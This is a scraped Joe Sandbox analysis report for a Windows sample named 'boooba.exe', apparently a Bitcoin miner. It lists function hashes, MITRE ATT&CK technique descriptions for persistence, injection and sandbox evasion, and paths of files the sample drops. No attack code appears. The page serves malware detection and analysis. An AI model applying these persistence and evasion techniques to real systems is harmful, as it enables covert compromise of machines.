API String ID:
Opcode ID: dd52b716409190460ea62701b42b3bf935ae272781b8159ed87b618c5ba5456d
Instruction ID: ef0d57a3499b7d42dc753bc986c337ee6fc910af00c139f801717fc8382b9690
Opcode Fuzzy Hash: dd52b716409190460ea62701b42b3bf935ae272781b8159ed87b618c5ba5456d
Instruction Fuzzy Hash: 34612B71B0DA484FEB54EBBC986A6B977D1EF99710F05017EE48EC3293CE64AC028745

Function 00007FFD9BAA0A3A Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ce2445e480c514046062380682bd0dd6a8af42b2a1ffd4395458740d67f0cd
Instruction ID: e9ef50d1a6d360a64311c96e27ba81146f073afb41aedd2f7fcc0074392cd299
Opcode Fuzzy Hash: 27ce2445e480c514046062380682bd0dd6a8af42b2a1ffd4395458740d67f0cd
Instruction Fuzzy Hash: C2614930B0A6494FE775AFB884756B97BD2EF4A300F0100BAD48DC72E2CE686906C355

Function 00007FFD9BAA0929 Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1836ca8c702b1531492ed5c20145160ebcc5d0e8039a9a427936a42b2f10e01
Instruction ID: 6664bbda6d4c62be18a3b922740709605d6ace45dea9a81ad76df6d8047878c8
Opcode Fuzzy Hash: e1836ca8c702b1531492ed5c20145160ebcc5d0e8039a9a427936a42b2f10e01
Instruction Fuzzy Hash: 1F315C61B1EAC80FE7759B7844B95BD7BE1EF56711B4404BED089C32E3CE28A9098341

Function 00007FFD9BAA040D Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20c5a485280be7d2efa3f0cc2133a48dff91c1589596d072eec794fc0825932d
Instruction ID: 2780e021c073f40e675a52704f1ee4701c5ec15838a1efa63d5fcc5df5d01e05
Opcode Fuzzy Hash: 20c5a485280be7d2efa3f0cc2133a48dff91c1589596d072eec794fc0825932d
Instruction Fuzzy Hash: 2A21BD92A0EACA5FE7635BB848B51B87FA1EE2720070E00EBC0D8C71E3D9545919C356

Function 00007FFD9BAA0080 Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975aa4d4e0bc1c8a6d717f4f0ea9ddaf4ce18665199f0cbd07a1399017138df9
Instruction ID: 7f9f290d414d5eb83d2d35caf1eb03192fe13c4c26da5ccb40e4da247317dd65
Opcode Fuzzy Hash: 975aa4d4e0bc1c8a6d717f4f0ea9ddaf4ce18665199f0cbd07a1399017138df9
Instruction Fuzzy Hash: 47215C21B1998D1FF775ABBC44B95BE77E2EF96710F14047DE08EC32A6CD146D0A8242

Function 00007FFD9BAA0852 Relevance: .1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1350ed56e1dcd7521407860a85845c5c5a9b55822558ee210de52f017ed710
Instruction ID: 7433a2d233104a7635ae71ddbd61545e5e112bba917728341708e9d759afe081
Opcode Fuzzy Hash: fd1350ed56e1dcd7521407860a85845c5c5a9b55822558ee210de52f017ed710
Instruction Fuzzy Hash: E921383190E6C64FE32797B448622A5BFA0EF03250F1E01EAD0C8CB0F3D9986056C7A6

Function 00007FFD9BAA0C20 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e544eab36c1e46247dd13da095802df7782f42adbc2e851896f0e8f551130298
Instruction ID: 8a2ecf6b0874b5bc320a5bb9dd59a567530bbd4859596e66e9041eded275ce61
Opcode Fuzzy Hash: e544eab36c1e46247dd13da095802df7782f42adbc2e851896f0e8f551130298
Instruction Fuzzy Hash: 3311081171D9854EE7AAA7BC00367BA6BC2DF46300F0804FAD0CEC72E7CC5C68168355

Function 00007FFD9BAA0A2A Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 833859d6fccb19d1d0997cd88dd1b57f140c651e87c5c31b20d6a620b6568661
Instruction ID: 21dcc7f42bd509a61252c30428b92d2c1f47e4caf24ff84c5b4862bcc496577e
Opcode Fuzzy Hash: 833859d6fccb19d1d0997cd88dd1b57f140c651e87c5c31b20d6a620b6568661
Instruction Fuzzy Hash: 9601D650B2EAC54FD756ABBC44B94BD7FE19F5A11030808ECC08AC72A7CD14A91A8745

Function 00007FFD9BAA050D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61fbf6a050069357a136ee444f5070d2e151d627df38f141a1823a1f2ab9cdfb
Instruction ID: 264f02eee928ece9a53e889c86a20859d95f1d02b09e86613c751399c70f9428
Opcode Fuzzy Hash: 61fbf6a050069357a136ee444f5070d2e151d627df38f141a1823a1f2ab9cdfb
Instruction Fuzzy Hash: 57F0BE21B1D98D0FD794E76C8865A5467C2EB98220B1A05B6D00CCB297DD28D8518341

Function 00007FFD9BAA04E1 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2907348136.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9baa0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cb708f4bf861f5e1abf42ea932c9981487bc9b979e67b7bdc635507f6c159ab
Instruction ID: d368bab1175b7165271e94f605b03dec350d3ecfacc723cced1f57633935a4b0
Opcode Fuzzy Hash: 3cb708f4bf861f5e1abf42ea932c9981487bc9b979e67b7bdc635507f6c159ab
Instruction Fuzzy Hash: 88E0173590594DDFDB81EFA8C8595FEBBB1FE5A302B04059AD48AC3260CB3065A3CB80

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report boooba.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys

C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe

C:\Users\user\IOAshdohSha.exe

C:\Users\user\IOAshdohSha.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
boooba.exe

Function 004010C4 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 189
COMMON

Function 00401000 Relevance: 1.3, Strings: 1, Instructions: 57
COMMON

Function 004022FA Relevance: .1, Instructions: 61
COMMON

Function 0040224F Relevance: .0, Instructions: 34
COMMON